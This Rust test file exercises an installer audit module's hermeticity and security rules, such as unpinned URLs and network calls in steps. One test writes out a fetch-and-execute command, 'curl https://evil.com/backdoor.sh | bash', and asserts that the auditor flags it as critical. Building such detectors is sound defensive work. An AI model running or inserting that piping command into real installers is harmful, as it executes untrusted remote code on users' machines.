#![allow(clippy::unwrap_used)]
#![allow(clippy::expect_used)]
use std::path::PathBuf;
use crate::installer::audit::{AuditCategory, AuditContext, AuditReport, AuditSeverity};
use crate::installer::from_bash::convert_bash_to_installer;
use crate::installer::spec::InstallerSpec;
fn audit_toml(toml: &str) -> AuditReport {
let spec = InstallerSpec::parse(toml).expect("Valid TOML for test");
let ctx = AuditContext::new();
ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}
fn audit_toml_with_context(toml: &str, ctx: AuditContext) -> AuditReport {
let spec = InstallerSpec::parse(toml).expect("Valid TOML for test");
ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}
fn audit_bash_script(bash: &str, name: &str) -> AuditReport {
let conversion = convert_bash_to_installer(bash, name).expect("Conversion should succeed");
let spec =
InstallerSpec::parse(&conversion.installer_toml).expect("Converted TOML should be valid");
let ctx = AuditContext::new();
ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}
#[test]
fn test_INSTALLER_AUDIT_herm001_no_lockfile_triggers_finding() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[artifact]]
id = "app"
url = "https://example.com/app-1.0.tar.gz"
sha256 = "abc123"
"#,
);
let herm001 = report.findings.iter().find(|f| f.rule_id == "HERM001");
assert!(
herm001.is_some(),
"HERM001 should trigger when artifacts exist but no lockfile config"
);
assert_eq!(herm001.unwrap().severity, AuditSeverity::Info);
assert_eq!(herm001.unwrap().category, AuditCategory::Hermetic);
}
#[test]
fn test_INSTALLER_AUDIT_herm001_no_artifacts_no_finding() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "hello"
name = "Hello"
action = "script"
[step.script]
content = "echo hello"
"#,
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "HERM001"),
"HERM001 should not trigger when no artifacts exist"
);
}
#[test]
fn test_INSTALLER_AUDIT_herm002_latest_in_url() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[artifact]]
id = "app"
url = "https://example.com/app-latest.tar.gz"
sha256 = "abc123"
"#,
);
let herm002 = report.findings.iter().find(|f| f.rule_id == "HERM002");
assert!(
herm002.is_some(),
"HERM002 should trigger for 'latest' in URL"
);
assert_eq!(herm002.unwrap().severity, AuditSeverity::Warning);
assert!(herm002.unwrap().description.contains("app"));
}
#[test]
fn test_INSTALLER_AUDIT_herm002_version_variable_in_url() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[artifact]]
id = "app"
url = "https://example.com/app-${VERSION}.tar.gz"
sha256 = "abc123"
"#,
);
assert!(
report.findings.iter().any(|f| f.rule_id == "HERM002"),
"HERM002 should trigger for ${{VERSION}} in URL"
);
}
#[test]
fn test_INSTALLER_AUDIT_herm002_pinned_version_no_finding() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[artifact]]
id = "app"
url = "https://example.com/app-2.3.1.tar.gz"
sha256 = "abc123"
"#,
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "HERM002"),
"HERM002 should not trigger for pinned version URL"
);
}
#[test]
fn test_INSTALLER_AUDIT_herm003_curl_in_step() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "download"
name = "Download"
action = "script"
[step.script]
content = "curl -fsSL https://example.com/file.tar.gz -o file.tar.gz"
"#,
);
let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
assert!(herm003.is_some(), "HERM003 should trigger for curl in step");
assert!(herm003.unwrap().description.contains("1 step"));
}
#[test]
fn test_INSTALLER_AUDIT_herm003_wget_in_step() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "download"
name = "Download"
action = "script"
[step.script]
content = "wget https://example.com/file.tar.gz"
"#,
);
let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
assert!(herm003.is_some(), "HERM003 should trigger for wget in step");
}
#[test]
fn test_INSTALLER_AUDIT_herm003_apt_get_update_in_step() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "update"
name = "Update"
action = "script"
[step.script]
content = "apt-get update"
"#,
);
assert!(
report.findings.iter().any(|f| f.rule_id == "HERM003"),
"HERM003 should trigger for apt-get update in step"
);
}
#[test]
fn test_INSTALLER_AUDIT_herm003_multiple_network_steps() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "download"
name = "Download"
action = "script"
[step.script]
content = "curl https://example.com/a.tar.gz -o a.tar.gz"
[[step]]
id = "update"
name = "Update"
action = "script"
[step.script]
content = "apt-get update && apt-get install -y pkg"
[[step]]
id = "fetch"
name = "Fetch"
action = "script"
[step.script]
content = "wget https://example.com/b.tar.gz"
"#,
);
let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
assert!(herm003.is_some());
assert!(
herm003.unwrap().description.contains("3 steps"),
"Should report 3 network-dependent steps, got: {}",
herm003.unwrap().description
);
}
#[test]
fn test_INSTALLER_AUDIT_herm003_no_network_no_finding() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "local"
name = "Local"
action = "script"
[step.script]
content = "echo hello && cp /tmp/a /tmp/b"
"#,
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "HERM003"),
"HERM003 should not trigger for local-only steps"
);
}
#[test]
fn test_INSTALLER_AUDIT_bash_curl_script_triggers_herm003() {
let bash = r#"#!/bin/bash
curl -fsSL https://example.com/setup.sh -o /tmp/setup.sh
chmod +x /tmp/setup.sh
/tmp/setup.sh
"#;
let report = audit_bash_script(bash, "curl-installer");
assert!(
report.findings.iter().any(|f| f.rule_id == "HERM003"),
"Converted bash script with curl should trigger HERM003"
);
}
#[test]
fn test_INSTALLER_AUDIT_bash_apt_script_triggers_herm003() {
let bash = r#"#!/bin/bash
apt-get update
apt-get install -y nginx
"#;
let report = audit_bash_script(bash, "apt-installer");
assert!(
report.findings.iter().any(|f| f.rule_id == "HERM003"),
"Converted bash script with apt-get update should trigger HERM003"
);
}
#[test]
fn test_INSTALLER_AUDIT_sec007_curl_pipe_bash_critical() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "dangerous"
name = "Dangerous"
action = "script"
[step.script]
content = "curl https://evil.com/backdoor.sh | bash"
"#,
);
let sec007 = report.findings.iter().find(|f| f.rule_id == "SEC007");
assert!(
sec007.is_some(),
"SEC007 should trigger for curl | bash pattern"
);
assert_eq!(sec007.unwrap().severity, AuditSeverity::Critical);
}
#[test]
include!("installer_tests_tests_INSTALLER.rs");